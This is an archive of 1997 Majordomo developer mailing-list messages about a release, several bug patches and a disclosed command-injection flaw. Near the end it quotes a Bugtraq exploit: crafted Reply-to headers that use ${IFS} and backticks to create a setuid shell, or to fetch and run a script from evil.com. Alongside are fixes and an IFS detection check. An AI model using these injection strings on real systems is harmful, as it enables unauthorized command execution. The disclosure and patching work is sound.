<199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> <3.0.3.32.19970826212400.0087cdd0@hyperreal.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk At 09:29 AM 8/27/97 -0400, Dave Barr wrote: >In message <3.0.3.32.19970826212400.0087cdd0@hyperreal.org>, Brian Behlendorf w >rites: >>>That's because, like the -workers archives, they're at >>>. >> >>Might be a good thing to add to the FAQ... > >Um. That's been in the FAQ for months. Not in the one linked from . Brian --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- "Why not?" - TL brian@organic.com - hyperreal.org - apache.org From owner-majordomo-workers-outgoing Wed Aug 27 11:58:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA12005 for majordomo-workers-outgoing; Wed, 27 Aug 1997 10:14:59 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id KAA11806 for ; Wed, 27 Aug 1997 10:14:17 -0700 (PDT) Received: from spsem02.sps.mot.com by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id KAA10605; Wed, 27 Aug 1997 10:13:29 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA22914 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 10:18:17 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA22466 for majordomo-workers@GreatCircle.COM; Wed, 27 Aug 97 10:17:52 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id MAA10440; Wed, 27 Aug 1997 12:17:51 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id MAA23594; Wed, 27 Aug 1997 12:17:50 -0500 From: Dave Wolfe Message-Id: <199708271717.MAA23594@miaow.risc.sps.mot.com> Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] To: oxymoron@waste.org Date: Wed, 27 Aug 1997 12:17:50 -0500 (CDT) Cc: tibbs@hpc.uh.edu, brian@hyperreal.org, majordomo-workers@GreatCircle.COM In-Reply-To: from "Oliver Xymoron" at Aug 27, 97 11:49:44 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk [ Oliver Xymoron writes: ] > > > [ Oliver Xymoron writes: ] > > > > > > This is simply a matter of proper quoting - we can avoid expanding > > > $reply_addr by putting it in single quotes and have no risk of its > > > contents being evaluated. Duh... you're right. I wasn't seeing the trees for the forest. Thanks for being patient with me. You're essentially doing the same thing explicitly my patch did implicitly. > Dealing with the pattern is a little bit more complicated than I > originally proposed but probably still doable: Again, it's already been done, and more robustly, in grab_regexp_array() to get the regexp from the config file. > # take the first character for regexp quote Only if the first character is the default '/'. If it's 'm', then you have to get the second character. If it's anything else, it's illegal. For that matter, grab_regexp_array() even puts restrictions on what the character following 'm' can be for reasons unknown. -- Dave Wolfe From owner-majordomo-workers-outgoing Wed Aug 27 12:14:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA14837 for majordomo-workers-outgoing; Wed, 27 Aug 1997 10:29:51 -0700 (PDT) Received: from eugate.sgi.com (eugate.sgi.com [193.73.159.10]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id KAA14578 for ; Wed, 27 Aug 1997 10:28:47 -0700 (PDT) Received: from slurp.neu.sgi.com (slurp.neu.sgi.com [144.253.130.8]) by eugate.sgi.com (8.8.4/970417-sgi-europehub) via ESMTP id TAA28960 for <@eugate.neu.sgi.com:majordomo-workers@greatcircle.com>; Wed, 27 Aug 1997 19:33:21 +0200 (MDT) env-from (cwilson@slurp.neu.sgi.com) Received: from localhost by slurp.neu.sgi.com via SMTP (970321.SGI.8.8.5/911001.SGI) for id TAA535218; Wed, 27 Aug 1997 19:33:19 +0200 (MDT) Message-Id: <199708271733.TAA535218@slurp.neu.sgi.com> To: majordomo-workers@greatcircle.com Subject: Majordomo 1.94.4 ready for testing. Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Date: Wed, 27 Aug 1997 19:33:19 +0200 From: Chan Wilson Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk has the advertise eval and wrapper security patch, everything that was in the patch archive, plus a few other snippets - see below. I'll do another check through the pending messages to see if there's any other bits that should go in; there's probably a few that should. In the usual places: ftp://ftp-europe.sgi.com/other/majordomo/1.94.4 ftp://ftp.sgi.com/other/majordomo/1.94.4 --Chan archive2.pl 1.10:1.9 revision 1.10 date: 1997/08/27 15:07:44; author: cwilson; state: Exp; lines: +22 -7 From: coar@decus.org (Rodent of Unusual Size) Message-id: <97071613415025@decus.org> o capability for 4 digit years However, just in case it's not, here's a patch to archive2.pl that adds -D, -M, and -Y flags that have the same meanings as their lower-case counterparts - except that the year is 4 digits rather than 2. ---------------------------- config-test 1.18:1.17 revision 1.18 date: 1997/08/27 15:17:13; author: cwilson; state: Exp; lines: +3 -3 o Checks to make sure that $log is actually a file. ---------------------------- config_parse.pl 1.64:1.63 revision 1.64 date: 1997/08/27 14:41:32; author: cwilson; state: Exp; lines: +17 -1 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/config_majordomo.0 ] From: Bill Houle Message-Id: <3.0.32.19970430180123.00989de0@www.sandiegoca.ncr.com> The following patches implement the 'welcome=yes/no' and 'announcements=yes/no' keywords for Majordomo 1.94.3. Both features have been requested several times on the -users mailing list. In the past I had described how our site implemented these for 1.93 using the new_keyword() API function call, but since I am in the process of upgrading I figured I'd do it this time as a real patch. I submit them for local implementation and hopeful incorporation into 1.94.4. (Yes, I know these are new features which are not typical for inclusion in a point release. But heck, they are so simple its laughable...) ---------------------------- digest 1.23:1.22 revision 1.23 date: 1997/08/27 14:42:52; author: cwilson; state: Exp; lines: +30 -13 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/digest.0 ] From: Dave Wolfe Message-Id: <199703191509.JAA11070@miaow.risc.sps.mot.com> These patches fix some problems recently identified in digest, but are virtually untested. They address undefined variables when the non-C form of configuration is used and file globbing failures (i.e. "No messages" aborts when there are plenty of messages to digest). While I have the highest confidence in the changes, unless someone can verify them I can't that they be placed in the release. They should be tested *both* with and without using the -C option. ---------------------------- majordomo 1.88:1.87 revision 1.88 date: 1997/08/27 14:55:29; author: cwilson; state: Exp; lines: +21 -41 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.0 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.1 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.2 ] From: Dave Wolfe Message-Id: <199705011522.KAA14948@miaow.risc.sps.mot.com> o Race condition: The problem is a window when Mj is unsubscribing an address between the time the list file is unlinked and the updated file is linked to the list file name. From: Dave Wolfe Message-Id: <199705022106.QAA20060@miaow.risc.sps.mot.com> o Config lock not being freed: I discovered a case when a config lock isn't freed when newconfig fails due to errors in the settings then a following (in the same message) config or writeconfig command fails because set_lock() is called again without the lock ever being freed. I suppose I could make set_lock() less picky, but the problem is actually bad logic in do_newconfig(), so I'd rather fix that. Here's the patch against 1.94.3: From: Dave Wolfe Message-Id: <199705051358.IAA15196@miaow.risc.sps.mot.com> o EOF tests failing due to intervening filehandle resets. Since I use my lockf() version of shlock.pl, I discovered that the tests for eof on the command input stream in do_newinfo() and do_newintro() make a rather tenuous assumption in at least one case for each function because there's an intervening log() call (and resulting file locking) between the last input from the command stream and the eof test on the last filehandle read. ---------------------------- majordomo.pl 1.56:1.55 revision 1.56 date: 1997/08/27 14:58:53; author: cwilson; state: Exp; lines: +10 -10 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] From: Dave Wolfe Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> o Mungedomain doesn't work due to is_list_member() bug > > The problem I am having is that mungedomain seems not to work > > when the subscribed person is a@b.c and the From: line in the > > mail is a@d.b.c. [ on 1.94.3 ] > > You have also found a bug. It's even worse if you list a file other than > the list in 'restrict_post'. I'm working on it but since I'm out this > afternoon and have a training class the next 2 days, it may be awhile > before I have a patch for it. > > For those who care, is_list_member() in majordomo.pl clobbers > $clean_list before it uses it to call cf_ck_bool() to get the value > of 'mungedomain'. Then there's the problem of it not making sure that > get_config() has been called for $clean_list, not to mention that resend > calls is_list_member() with the value of 'restrict_post' that might not > even be a list at all! Turns out this wasn't as tricky as I feared once I made the assumption that only the "current list" 'mungedomain' applied. Here's patches against 1.94.3: ---------------------------- resend 1.86:1.85 revision 1.86 date: 1997/08/27 14:59:24; author: cwilson; state: Exp; lines: +4 -8 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] From: Dave Wolfe Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> o Mungedomain doesn't work due to is_list_member() bug > > The problem I am having is that mungedomain seems not to work > > when the subscribed person is a@b.c and the From: line in the > > mail is a@d.b.c. [ on 1.94.3 ] > > You have also found a bug. It's even worse if you list a file other than > the list in 'restrict_post'. I'm working on it but since I'm out this > afternoon and have a training class the next 2 days, it may be awhile > before I have a patch for it. > > For those who care, is_list_member() in majordomo.pl clobbers > $clean_list before it uses it to call cf_ck_bool() to get the value > of 'mungedomain'. Then there's the problem of it not making sure that > get_config() has been called for $clean_list, not to mention that resend > calls is_list_member() with the value of 'restrict_post' that might not > even be a list at all! Turns out this wasn't as tricky as I feared once I made the assumption that only the "current list" 'mungedomain' applied. Here's patches against 1.94.3: ---------------------------- sample.cf 1.34:1.33 revision 1.34 date: 1997/08/27 15:00:31; author: cwilson; state: Exp; lines: +3 -3 [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.0 ] [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.1 ] o Uncommented $config'default_subscribe_policy o made the sample taboo stuff valid perl5. ---------------------------- wrapper.c 1.8:1.7 revision 1.8 date: 1997/08/27 15:01:12; author: cwilson; state: Exp; lines: +6 -4 o Fixes security hole with ENV overrun by limiting env size. ---------------------------- Chan Wilson International +41-32-843-3760 Silicon Graphics, SA. U.S. 1-888-744-8638 x476-3760 Cortaillod, Switzerland. cwilson@neu.sgi.com "Network Analyst" && Irix SA Guru && Gravitational Engineer Practice Acting Kind of Random. Beauty, eh? From owner-majordomo-workers-outgoing Wed Aug 27 12:30:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA03755 for majordomo-workers-outgoing; Wed, 27 Aug 1997 12:18:57 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id LAA23468 for ; Wed, 27 Aug 1997 11:18:20 -0700 (PDT) Received: from mail.cis.ohio-state.edu by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id LAA12668; Wed, 27 Aug 1997 11:17:23 -0700 (PDT) Received: from stumble.cis.ohio-state.edu (stumble.cis.ohio-state.edu [164.107.128.12]) by mail.cis.ohio-state.edu (8.6.7/8.6.4) with ESMTP id OAA22596 for ; Wed, 27 Aug 1997 14:21:41 -0400 Message-Id: <199708271821.OAA22596@mail.cis.ohio-state.edu> To: majordomo-workers@GreatCircle.COM Subject: Re: [Fwd: BoS: Vulnerability in Majordomo] In-reply-to: Your message of "Wed, 27 Aug 1997 11:11:28 PDT." <3.0.3.32.19970827111128.008b7150@hyperreal.org> References: <199708261452.JAA14616@miaow.risc.sps.mot.com> <3.0.3.32.19970826131612.008b7210@hyperreal.org> <3.0.3.32.19970826212400.0087cdd0@hyperreal.org> <3.0.3.32.19970827111128.008b7150@hyperreal.org> X-Face: $+9-wYg.[->94HJ{go[7Q]E!K&hUg7ZhLyCMyq_FU*ca0GazE>^/2BKLcK0bP-'%;Nn?M+am,jlSP>1K$iz@ %'v'FEW{@](U&Ed/}>ju3Ctlr!XwJ27Q)7h2a%"`sz;j:/3EC[mXi@*X@HE1]'ddq$ZX"ePsMyTkeg >zdML.SVvX1W`adGIUD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 27 Aug 1997 14:21:41 -0400 From: Dave Barr Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk In message <3.0.3.32.19970827111128.008b7150@hyperreal.org>, Brian Behlendorf w rites: >Not in the one linked from . Great. That one is almost 6 months old. No wonder! Unfortunately I don't have control of what greatcircle does. --Dave From owner-majordomo-workers-outgoing Wed Aug 27 12:59:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA10949 for majordomo-workers-outgoing; Wed, 27 Aug 1997 12:54:45 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [36.21.0.44]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id MAA10922 for ; Wed, 27 Aug 1997 12:54:35 -0700 (PDT) Received: (qmail 10588 invoked by uid 500); 27 Aug 1997 19:59:15 -0000 To: majordomo-workers@greatcircle.com Subject: Re: Majordomo 1.94.4 ready for testing. References: <199708271733.TAA535218@slurp.neu.sgi.com> From: Russ Allbery In-Reply-To: Chan Wilson's message of Wed, 27 Aug 1997 19:33:19 +0200 Date: 27 Aug 1997 12:59:14 -0700 Message-ID: Lines: 34 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Here's a very small patch I've been using for a while that I never submitted because when I wrote it I wasn't on majordomo-workers. Bleh. I have no idea if this is too late to make it into 1.94.4, but I figured I'd throw it out anyway just in case. This came out of a problem with someone subscribing a private mailing list to the moderators mailing list so that they could easily have the traffic go to all of the group moderators. They added a tag to the beginning of the subject line, but the problem was that if a message came through the list that started with Re:, the tag would be added before Re:, and so any replies would end up with a subject like: Re: [TAG] Re: subject At that point, majordomo was smart enough not to add any further tags, but it was my opinion that majordomo should have added the tag after the Re: in the first place so that there would never be multiple Re:'s. This trivial one-line tested patch does that: --- resend.orig Thu Aug 14 21:56:21 1997 +++ resend Thu Aug 14 21:57:14 1997 @@ -725,7 +725,7 @@ local($foo) = &config'substitute_values($config_opts{$opt_l,"subject _prefix"}, $opt_l);#'; local($foo_pat) = $foo; $foo_pat =~ s/(\W)/\\$1/g; - s/^subject:\s*/Subject: $foo /i if !/$foo_pat/; + s/^subject:\s*(re: )?/Subject: $1$foo /i if !/$foo_pat/; } # snag reply-to field -- Russ Allbery (rra@stanford.edu) From owner-majordomo-workers-outgoing Thu Aug 28 20:59:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA12156 for majordomo-workers-outgoing; Thu, 28 Aug 1997 20:47:59 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id UAA10110 for ; Thu, 28 Aug 1997 20:35:51 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id XAA00126; Thu, 28 Aug 1997 23:40:34 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA20385; Thu, 28 Aug 1997 23:40:31 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@GreatCircle.COM Subject: Re: Config questions/comments Date: Thu, 28 Aug 1997 23:40:51 -0400 Message-Id: <340842e9.8054088@world.std.com> References: <340901e5.5896125@world.std.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Sorry for delayed response. On 25 Aug 1997 00:39:15 -0500, Jason L Tibbitts III wrote: >Please feel free to submit patches. Just make a copy (cp file = file.orig), >edit file all you wish, and make a patch (diff -u file.orig file). Use = -c >in place of -u if your diff has problems. OK. Will wait until after next snap though. Submit to the list? >The DESIGN file gives something of an object hierarchy. I'm not sure if >that's what you're looking for. Looks like a good start. Thanks. >JK> (5) Are there particular keys in %vars that have been the occasion = of >JK> chronic questions on mj-users? > >Oh, all of them. Lately it's been 'administrivia' and by association >admin_* and taboo_*. Yes. :-) Actually I only recently figured out how that mechanism works. (Or at least I think so. administrivia=3DTRUE enables checking of the regexps in admin_headers and admin_body?) john k --=20 Our view of life's misleading but of course we have bad seats - William Gaddis, _JR_ From owner-majordomo-workers-outgoing Thu Aug 28 21:30:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA17536 for majordomo-workers-outgoing; Thu, 28 Aug 1997 21:19:46 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970824-1) id VAA17526 for majordomo-workers@greatcircle.com; Thu, 28 Aug 1997 21:19:43 -0700 (PDT) Received: from tornado.be (mail2.tornado.be [194.149.80.18]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id AAA01064 for ; Mon, 25 Aug 1997 00:48:42 -0700 (PDT) Received: from port24.hasselt.tornado.be (port24.hasselt.tornado.be [195.140.33.24]) by tornado.be (8.8.5/8.8.5001) with SMTP id JAA14331 for ; Mon, 25 Aug 1997 09:57:57 +0100 Comments: Authenticated sender is Received: from mail2 for davison with Cubic Circle's cucipop (v1.14 1997/04/11) Sun Aug 24 23:11:57 1997 X-From_: Brent@GreatCircle.COM Sun Aug 24 23:09:23 1997 Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by tornado.be (8.8.5/8.8.5001) with ESMTP id XAA27872 for ; Sun, 24 Aug 1997 23:09:17 +0100 Received: from [198.102.244.42] by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-970426) id NAA16034; Sun, 24 Aug 1997 13:58:47 -0700 (PDT) X-Sender: brent@honor.greatcircle.com Message-Id: In-Reply-To: <33EFC327.7B9F@tornado.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 24 Aug 1997 14:09:01 -0800 To: Roy Davison From: Brent Chapman Subject: Re: Suggested improvement for Majordomo Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Thank you for your comments. Unfortunately, I can't really do anything about them, since I'm not active in Majordomo development any more. I suggest you forward your comments to the Majordomo-Workers@GreatCircle.COM mailing list. -Brent At 6:57 PM -0700 8/11/97, Roy Davison wrote: >Brent, >I presently am preparing to use your excellent list management program >with the help of zns.net. >In testing I find the present wording of the authorization message sent >to subscribers somewhat unclear and confusing. Below is a version with >some suggested improvements for your consideration. > >>>>> subscribe bc-live**** This subscription request was received by >>>>>Majordomo@zns.net: >**** >**** subscribe bc-live
>**** >**** To complete the subscription process, the owner of the address >**** submitted must confirm that he really does want to subscribe >**** by sending back an authorization key. >**** >**** This authorization key is being sent in a separate message >**** to:
>**** Please follow the instructions in that message. >**** >**** Note: If the message is not received, there is generally a problem >with >**** the address. Before reporting this as a problem, please note the >**** following: >**** >**** You only need to append an address to the subscribe command if you >want >**** to receive list mail at a different address from where you sent the >**** command. Otherwise you can simply omit it. >**** If you do append an address to the subscribe command, it must be a >legal >**** address. It should not consist solely of your name. The address >must >**** point to a machine that is reachable from our list server. >**** >**** If you have any questions about the policy of the list owner, please >**** contact "bc-live-approval@zns.net". >**** >**** >Thanks! >**** >**** Majordomo@zns.net -- Brent Chapman Internet/intranet training and consulting, Brent@GreatCircle.COM specializing in network design and security. Great Circle Associates,Inc. Visit us at http://www.greatcircle.com/ From owner-majordomo-workers-outgoing Thu Aug 28 21:59:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA20396 for majordomo-workers-outgoing; Thu, 28 Aug 1997 21:39:20 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970824-1) id VAA20377 for majordomo-workers@greatcircle.com; Thu, 28 Aug 1997 21:39:16 -0700 (PDT) Received: from waste.org ([38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id NAA04114 for ; Tue, 26 Aug 1997 13:15:41 -0700 (PDT) Received: by waste.org id <75637-30449>; Tue, 26 Aug 1997 15:19:58 -0500 Date: Tue, 26 Aug 1997 15:19:53 -0500 (CDT) From: Oliver Xymoron Reply-To: Oliver Xymoron To: Razvan Dragomirescu cc: majordomo-workers@GreatCircle.COM, Bugtraq Subject: Re: Vulnerability in Majordomo In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Sun, 24 Aug 1997, Razvan Dragomirescu wrote: > I have discovered a vulnerablility in "majordomo" that allows local and > remote users to execute commands with the rights of the user running the > server. This user is usually in the daemon group, so this can be quite > harmful. This should fix the problem in a fairly straightforward manner: --- majordomo-pre-list-fix Tue Aug 26 14:11:07 1997 +++ majordomo Tue Aug 26 15:06:52 1997 @@ -1374,7 +1374,7 @@ if ($'config_opts{$list, 'advertise'} ne '') { @array = split(/\001/,$'config_opts{$list, 'advertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; + $command = '($reply_addr'." =~ $i)"; $result = 1, last if (eval $command); } } else { $result = 1; } @@ -1384,7 +1384,7 @@ @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); foreach $i (@array) { - $command = "(q~$reply_addr~ =~ $i)"; + $command = '($reply_addr'." =~ $i)"; $result = 0, last if (eval $command); } } -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From owner-majordomo-workers-outgoing Thu Aug 28 22:02:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA21010 for majordomo-workers-outgoing; Thu, 28 Aug 1997 21:43:55 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970824-1) id VAA20992 for majordomo-workers@greatcircle.com; Thu, 28 Aug 1997 21:43:49 -0700 (PDT) Received: from webdreams.com (www.webdreams.com [199.125.85.28]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with SMTP id JAA06471 for ; Wed, 27 Aug 1997 09:36:35 -0700 (PDT) Received: from localhost by webdreams.com (5.65v3.2/1.1.10.5/29Aug96-0251AM) id AA30282; Wed, 27 Aug 1997 12:41:25 -0400 X-Received: from brimstone.netspace.org by webdreams.com (5.65v3.2/1.1.10.5/29Aug96-0251AM) id AA18353; Wed, 27 Aug 1997 02:55:47 -0400 X-Received: from unknown@netspace.org (port 64775 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <80544-2900>; Wed, 27 Aug 1997 01:49:08 -0400 X-Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with spool id 4739921 for BUGTRAQ@NETSPACE.ORG; Wed, 27 Aug 1997 01:40:49 -0400 X-Received: from brimstone.netspace.org (brimstone [128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id BAA08457 for ; Wed, 27 Aug 1997 01:26:03 -0400 X-Received: from unknown@netspace.org (port 64775 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <79397-2902>; Wed, 27 Aug 1997 01:25:50 -0400 Approved-By: aleph1@UNDERGROUND.ORG X-Received: from chaos.iss.net (chaos.iss.net [208.21.2.37]) by netspace.org (8.8.7/8.8.2) with ESMTP id SAA17088 for ; Tue, 26 Aug 1997 18:43:29 -0400 X-Received: (from mhw@localhost) by chaos.iss.net (8.7.6/8.7.3) id SAA06960; Tue, 26 Aug 1997 18:42:47 -0400 X-Mailer: ELM [version 2.4ME+ PL33 (25)] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: <199708262242.SAA06960@chaos.iss.net> Date: Tue, 26 Aug 1997 18:42:47 -0400 Reply-To: Michael Warfield From: Michael Warfield Subject: Re: Vulnerability in Majordomo X-To: drazvan@KAPPA.RO To: BUGTRAQ@NETSPACE.ORG In-Reply-To: from Razvan Dragomirescu at "Aug 24, 97 03:17:18 pm" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk > Hello all, > I have discovered a vulnerablility in "majordomo" that allows local and > remote users to execute commands with the rights of the user running the server. This user is usually in the daemon group, so this can be quite harmful. > > Still, there is a condition for the exploit to work. The server should > have at least one list that uses the "advertise" or "noadvertise" > directives in the configuration files. These directives indicate if the > list should (or should not) be included in a reply to a "LISTS" command > depending on the address the request came from. The exploit also works if > the server has one or more "hidden" lists (see the Majordomo documentation > for details). Here's a quicky to slap a condom on this problem until a more permanent cure is forth coming... This is against 1.93.3 and has been tested against a hostile message. ================================================================= --- majordomo.pl.old Tue Aug 26 18:29:31 1997 +++ majordomo.pl Tue Aug 26 18:28:58 1997 @@ -652,6 +652,10 @@ &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr") if ($_ !~ m#/a[dm]=#); #' } + &main'abort("HOSTILE ADDRESS (IFS in x400) $addr") + if ($_ =~ m#\$\{IFS#); #' + &main'abort("HOSTILE ADDRESS (IFS in x400) $addr") + if ($_ =~ m#\$IFS#); #' } print STDERR "$0: valid_addr: exit\n" if $DEBUG; ================================================================= This has the advantage of letting you know, through a majordomo abort message that someone is trying to screw with you. We might even want to expand that to include other attempts at shell expansions in address fields... > Here's a piece of the configuration file: > > -- lrazvan.config -- > > # advertise [regexp_array] (undef) > # If the requestor email address matches one of these regexps, then > # the list will be listed in the output of a lists command. Failure > # to match any regexp excludes the list from the output. The > # regexps under noadvertise override these regexps. > advertise << END > /.*/ > END > -- end lrazvan.config -- > > The one above tells majordomo to include this list in any "LISTS" request. > > The problem is that when the server finds a list that has one of these > attributes ("advertise" or "noadvertise"), it will try to match the > reply-to address against these patterns. It uses an "eval" command to do this. > > Let's take a look at the PERL source (the do_lists procedure): > > -- majordomo -- > foreach $i (@array) { > $command = "(q~$reply_addr~ =~ $i)"; > $result = 1, last if (eval $command); > } > > -- end majordomo -- > > $reply_addr is the result of some paranoid validation. It cannot contain > <,>,[,],-,+,(,),; etc.. > But with a few tricks, this won't be a problem :). > > Now, for the exploits. There a two of them, one for the local users who > just want a setuid shell (with the rights of the server owner, usually > majordomo.daemon), and one for the remote users who might want to copy > some files or execute commands remotely (the old "mail foo@foo.net < > /etc/passwd" won't work, it contains '<' ...). > > Local exploit: > --exploit-- > telnet localhost 25 > > helo localhost > mail from: user > rcpt to: majordomo (or whatever the name of the majordomo user is) > data > From: user > To: majordomo > Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro > > LISTS > .. > quit > --end of exploit -- > > The "Reply-to" field does all the hard work. I think it needs some explaining. First, we use $IFS instead of spaces (guess why...), and '&&' instead of ';'. The '&&' operator does in bash the same thing it does in perl. "a&&b" means "execute a and if succ > essful execute b". The address is composed in such a way that it passes the tests majordomo uses (it considers it as a X400 address). So don't change anything in there (of course, you can change the commands, but not the syntax). The exploit will copy /bi > n/bash as /tmp/lord and change permissions for it to 4777 (setuid + rwx for everyone). > > For the remote users, change the Reply-to field to something like: > > Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro > > Make sure user@evil.com can connect from the remote site. evil.com is your > site. > You will have to edit the "script" file in your home directory and make it > do eveverything you want (you can now use all those "forbidden characters"). > > I am too tired to find a fix for this right now. Some more validation > might help. > I have tested this on Majordomo version 1.94.3. Other versions could be > vulnerable. > > Have fun and be good. > Razvan > > -- > Razvan Dragomirescu > drazvan@kappa.ro, drazvan@romania.ro, drazvan@roedu.net > Phone: +40-1-6866621 > "Smile, tomorrow will be worse" (Murphy) > -- Michael H. Warfield | Voice: (770)395-0150 Senior Engineer | Fax: (770)395-1972 Internet Security Systems, Inc. | E-Mail: mhw@iss.net mhw@wittsend.com 41 Perimeter Center East, Suite 660 | http://www.iss.net/ Atlanta, GA 30328 | http://www.wittsend.com/mhw/ PGP Key: 0xDF1DD471 http://www.wittsend.com/mhw/pubkey.txt From owner-majordomo-workers-outgoing Fri Aug 29 17:45:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA11277 for majordomo-workers-outgoing; Fri, 29 Aug 1997 16:57:55 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970824-1) with ESMTP id QAA11260 for ; Fri, 29 Aug 1997 16:57:47 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id UAA15273; Fri, 29 Aug 1997 20:02:50 -0400 (EDT) Received: from unknown (world.std.com) by world.std.com (5.65c/Spike-2.0) id AA27123; Fri, 29 Aug 1997 20:02:48 -0400 From: jkahila@world.std.com (John Kahila) To: majordomo-workers@GreatCircle.COM Subject: first attempt at "administrivia" note Date: Fri, 29 Aug 1997 20:03:08 -0400 Message-Id: <340761b7.13180238@world.std.com> References: 